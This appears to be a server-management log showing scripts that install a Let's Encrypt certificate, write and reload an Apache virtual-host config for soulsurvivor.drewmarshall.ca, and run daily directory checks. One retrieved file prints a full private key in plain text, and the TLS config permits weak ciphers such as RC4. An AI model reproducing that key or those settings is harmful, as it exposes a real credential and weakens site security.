yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-11-05 06:00:22: 

chmod 755 /tmp/pkp730294; /tmp/pkp730294; rm /tmp/pkp730294

2025-11-05 06:00:22: 


dir=/etc/ssl/certs


2025-11-05 06:00:22: 

PUT: /tmp/pkp359921

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-11-05 06:00:22: 

chmod 755 /tmp/pkp359921; /tmp/pkp359921; rm /tmp/pkp359921

2025-11-05 06:00:22: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf 52

<VirtualHost *:80>
    ServerName	soulsurvivor.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_soulsurvivor
    <Directory /var/www/drewmarshall_soulsurvivor>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/soulsurvivor_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/soulsurvivor_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	soulsurvivor.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/d7b28d3c1e1bd0c8221fd57011c5053a.crt
    DocumentRoot	/var/www/drewmarshall_soulsurvivor
    <Directory /var/www/drewmarshall_soulsurvivor>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/soulsurvivor_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/soulsurvivor_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-11-05 06:00:22: 

PUT: /tmp/pkp858412

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=drewmarshall_soulsurvivor_ca.conf
TARGET=/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	soulsurvivor.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_soulsurvivor
    <Directory /var/www/drewmarshall_soulsurvivor>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/soulsurvivor_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/soulsurvivor_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	soulsurvivor.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/d7b28d3c1e1bd0c8221fd57011c5053a.crt
    DocumentRoot	/var/www/drewmarshall_soulsurvivor
    <Directory /var/www/drewmarshall_soulsurvivor>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/soulsurvivor_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/soulsurvivor_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf)= /etc/apache2//etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf= 1'
fi


2025-11-05 06:00:22: 

chmod 755 /tmp/pkp858412; /tmp/pkp858412; rm /tmp/pkp858412

2025-11-05 06:00:22: 




2025-11-05 06:00:22: 

PUT: /tmp/pkp254501

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-11-05 06:00:22: 

chmod 755 /tmp/pkp254501; /tmp/pkp254501; rm /tmp/pkp254501

2025-11-05 06:00:22: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-11-05 06:00:22: Establishing a connection
2025-11-05 06:00:23: 

PUT: /tmp/pkp694372

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-11-05 06:00:23: 

chmod 755 /tmp/pkp694372; /tmp/pkp694372; rm /tmp/pkp694372

2025-11-05 06:00:23: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
                 alias www.bucketgigs.ca
         port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
                 alias www.dgmarshall.ca
         port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
                 alias www.dgmarshall.com
         port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
         port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
         port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
         port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
         port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
         port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
         port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
                 alias www.drewmarshall.ca
         port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
                 alias www.hillrunfarm.ca
         port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
                 alias www.ineedtosaythis.com
         port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
*:443                  is a NameVirtualHost
         default server bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
         port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
                 alias www.bucketgigs.ca
         port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
                 alias www.dgmarshall.ca
         port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
                 alias www.dgmarshall.com
         port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
         port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
         port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
         port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
         port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
         port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
         port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
                 alias www.drewmarshall.ca
         port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
                 alias www.hillrunfarm.ca
         port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
                 alias www.ineedtosaythis.com
         port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-11-05 06:00:23: 

PUT: /tmp/pkp699096

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-11-05 06:00:23: 

chmod 755 /tmp/pkp699096; /tmp/pkp699096; rm /tmp/pkp699096

2025-11-05 06:00:23: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf	1429

<VirtualHost *:80>
    ServerName	soulsurvivor.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_soulsurvivor
    <Directory /var/www/drewmarshall_soulsurvivor>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/soulsurvivor_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/soulsurvivor_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	soulsurvivor.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/d7b28d3c1e1bd0c8221fd57011c5053a.crt
    DocumentRoot	/var/www/drewmarshall_soulsurvivor
    <Directory /var/www/drewmarshall_soulsurvivor>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/soulsurvivor_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/soulsurvivor_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-11-05 06:00:23: 

PUT: /tmp/pkp845671

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/d7b28d3c1e1bd0c8221fd57011c5053a.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-11-05 06:00:23: 

chmod 755 /tmp/pkp845671; /tmp/pkp845671; rm /tmp/pkp845671

2025-11-05 06:00:23: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/d7b28d3c1e1bd0c8221fd57011c5053a.crt	5393
8d:3d:23:9f:b0:68:77:af:b8:57:f4:60:50:73:91:58

-----BEGIN CERTIFICATE-----
MIIFFjCCA/6gAwIBAgISBr8bBZFQkODvD4ZNh+toq5ruMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTA1MDUwMTQ5WhcNMjYwMjAzMDUwMTQ4WjAnMSUwIwYDVQQD
Exxzb3Vsc3Vydml2b3IuZHJld21hcnNoYWxsLmNhMIIBIjANBgkqhkiG9w0BAQEF
AAOCAQ8AMIIBCgKCAQEAzHp0ySoLfzsIpWOUQOQtmXPdthQ63pPiL89YNpWHc5gS
nTUF1gyMqWU0tdmG5olCmyNR3/5Jhvp+zuQBqGDintOEwfgjq8BCz1EPaXKMX9ZX
A6ycnSieNlIdf5ynKjjqoOahSsVrvvGp/urmd4ibhH36PDa6d3SM4R7mhmGufXHL
7feTuv4/wkU0hK8DQazRgf2lPD44Gg2pMkBRnO9lzw4ML+FJf9CKtvhY4nx4iCfv
XzO386LiBoLkOT95PCPqM9Cm8xjZnKFDaisxXwlsktL2ESmdtuNr6Pp+wh1e3eeA
eo2Zu8K20Z/Zo1PKhQSh1iumMC8a+c9sp0yCasPjOQIDAQABo4ICLjCCAiowDgYD
VR0PAQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNV
HRMBAf8EAjAAMB0GA1UdDgQWBBQ6ujxPylAnFVvDGLaJi6TVfC05xDAfBgNVHSME
GDAWgBTnq58PLDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYB
BQUHMAKGF2h0dHA6Ly9yMTMuaS5sZW5jci5vcmcvMCcGA1UdEQQgMB6CHHNvdWxz
dXJ2aXZvci5kcmV3bWFyc2hhbGwuY2EwEwYDVR0gBAwwCjAIBgZngQwBAgEwLwYD
VR0fBCgwJjAkoCKgIIYeaHR0cDovL3IxMy5jLmxlbmNyLm9yZy8xMTEuY3JsMIIB
BQYKKwYBBAHWeQIEAgSB9gSB8wDxAHcAlpdkv1VYl633Q4doNwhCd+nwOtX2pPM2
bkakPw/KqcYAAAGaUpoQQAAABAMASDBGAiEA95TXwtfp0hGFxJjpuZFUo+GygDxC
CFDlZS9ve2rSO20CIQDRgA+03NnSlLjpJlthZtA1OhWnKYHtM5W73hztgbxzpQB2
AGQRxGykEuyniRyiAi4AvKtPKAfUHjUnq+r+1QPJfc3wAAABmlKaF8IAAAQDAEcw
RQIgDQnchpaxPamnPzOvMF+UW7vxlcfxsv9USaVoQ6QjzR4CIQDDLdSJFU4cR83i
pji8b1RSLQ9OpYJhnrm19G+TbYcs0jANBgkqhkiG9w0BAQsFAAOCAQEABOHWkeT/
ZrgZw5Rt0QSy+/X7w0P8I9niH2LBIMFO4+g4BQDZqgbDHxwhWR32Vli7VnEGcq/k
XtqrAgCzxlXavmnKYmu5CfMi6MGYBlxRnUzM/sFw/GNUkGbIUH2DeK4aCO5LMFIR
XWwJ+u6SS3o3RhIhvG/YVMlpxXrzX3TQ5USDLPdSYCC+ytYWlTHgDBa7HgIlvQgw
Top1Lu+g8cGbJJp7WBqFHGkSWJyXU/FPpL1NETtlPagi/QaIyK3tXSmuRQ30RsRw
Gb5OTZETs2V5WKDj9xza8aJW+5hZfGmGuy2YWIUK+JDfLMWWPNo1/ReR9NF6/y65
BEs71iL9J434oA==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEwAIBADANBgkqhkiG9w0BAQEFAASCBKowggSmAgEAAoIBAQDMenTJKgt/Owil
Y5RA5C2Zc922FDrek+Ivz1g2lYdzmBKdNQXWDIypZTS12YbmiUKbI1Hf/kmG+n7O
5AGoYOKe04TB+COrwELPUQ9pcoxf1lcDrJydKJ42Uh1/nKcqOOqg5qFKxWu+8an+
6uZ3iJuEffo8Nrp3dIzhHuaGYa59ccvt95O6/j/CRTSErwNBrNGB/aU8PjgaDaky
QFGc72XPDgwv4Ul/0Iq2+FjifHiIJ+9fM7fzouIGguQ5P3k8I+oz0KbzGNmcoUNq
KzFfCWyS0vYRKZ2242vo+n7CHV7d54B6jZm7wrbRn9mjU8qFBKHWK6YwLxr5z2yn
TIJqw+M5AgMBAAECggEBAJih7/sZP2vBjTqnkkq+CKu7KYx4nVj32qcFhzt3cpx+
r6ZZpfmZdIYd3bLApUoAu49CViN1lT0ETxPwbqxZZdBY44hGyZmy8iv+vhpgPxhq
zpkXh/BoGXFC6nIPZVjHE5z3iv5dT4hArDx064PenPfRcbDwyU/R2DdS8ZDt6WoI
6ULu/d/ufqWvLBEygY47wV6kjj4lg9vJbzhPJOAoypKl+zBrZKGgdCAP/VV/43CJ
b5UuG7rf+X/GWUN/arwY3BxM6w9y9dKmuC9mdA2LCrisApnZuDXfxzoZcWLpKEne
GPIQyP/C9iaI0jSn88A1oOy83Qk6yqBcjG108MX8YWECgYEA9odbu6AmnAF2jqKs
xBBPF/nzULLrfXVXql4RDiVQ409EZIUdxBUsZ93e5QvHJnPeLUcb4UMcsRteztab
0VbDMaMdQQRm4AxoSG6kWpEQZczygXyG0MXfBPXMN+BDQSqFlBsxXheK4eBPegk+
cjBClXwI3PZJYawWByRigEtRvIsCgYEA1FWG3a2t6I5fR6T6Z2DwIEuu1MtdhQIq
h6HUmatgKNmKs9Do1nCEdOY5KEluUFxPnllp2JF7vnaCBYJTtE+xuivCuU2co2tQ
/uLADKm5GSx+JBY5oHEfNeALmFPLEevIOZHBfJHxzcao3uHpQoTaUtbRuj+s74sP
RuXqemIxQ8sCgYEA60+6PLYaBFDVNEKMO70BcfZPzBhr9N17Zw/Qobr2oXG462Ww
SsiXETFTHzeFyOtSB8/XCcYAbgCdFzr7ke6J9CgotTWZaIQPSgvp7tSGXVUpqHUP
TdmBDX/8hN0X9Oy8gekOzywTkZSE6AxIwb/U3lB9OUQQOR2EDR8qsiCyjQ8CgYEA
yP6Q5MTkS7CBptsXocZUZ+3ceFhtlVugkLVy/2gHZYPP1TlbPqpR6CqKToV8JBvN
zlJLbJMCtR+PItHklFmgHmAQOsKqFNOgXzabnyEGMzs3yMc1E5gheCk2MKKZJsSv
yzcbFeU9JJH6BsmIucvystngu9JMzJAxDObVF7ZddhMCgYEAuQDV2q95yysDj2p1
iX1wPy0RPs3DcC5gl1kXHnVWAYpX/2744NlrnW6o4nRvaxhIgZbfsGuxClTGOvIs
UlJjclCVJSlk/QxUEmy5jOg5mE0WgQHtx8k4I5ij7LDqVGSX2f2AfqBfGgjesfo9
ahgPEQXrfe7iwhuhgVGmvebWDTY=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2025-11-05 06:00:23: Establishing a connection
2025-11-05 06:00:24: Establishing a connection
2025-11-05 06:00:25: 

PUT: /tmp/pkp255844

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-11-05 06:00:26: 

chmod 755 /tmp/pkp255844; /tmp/pkp255844; rm /tmp/pkp255844

2025-11-05 06:00:26: 


0


2025-11-05 06:00:26: Establishing a remote connection
2025-11-06 06:00:02: Establishing a connection
2025-11-06 06:00:04: Establishing a connection
2025-11-06 06:00:05: 

PUT: /tmp/pkp188026

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-11-06 06:00:06: 

chmod 755 /tmp/pkp188026; /tmp/pkp188026; rm /tmp/pkp188026

2025-11-06 06:00:06: 


0


2025-11-06 06:00:06: Establishing a remote connection
2025-11-07 06:00:02: Establishing a connection
2025-11-07 06:00:04: Establishing a connection
2025-11-07 06:00:05: 

PUT: /tmp/pkp895866

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-11-07 06:00:05: 

chmod 755 /tmp/pkp895866; /tmp/pkp895866; rm /tmp/pkp895866

2025-11-07 06:00:06: 


0


2025-11-07 06:00:06: Establishing a remote connection
2025-11-08 06:00:01: Establishing a connection
2025-11-08 06:00:03: Establishing a connection
2025-11-08 06:00:04: 

PUT: /tmp/pkp338987

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-11-08 06:00:05: 

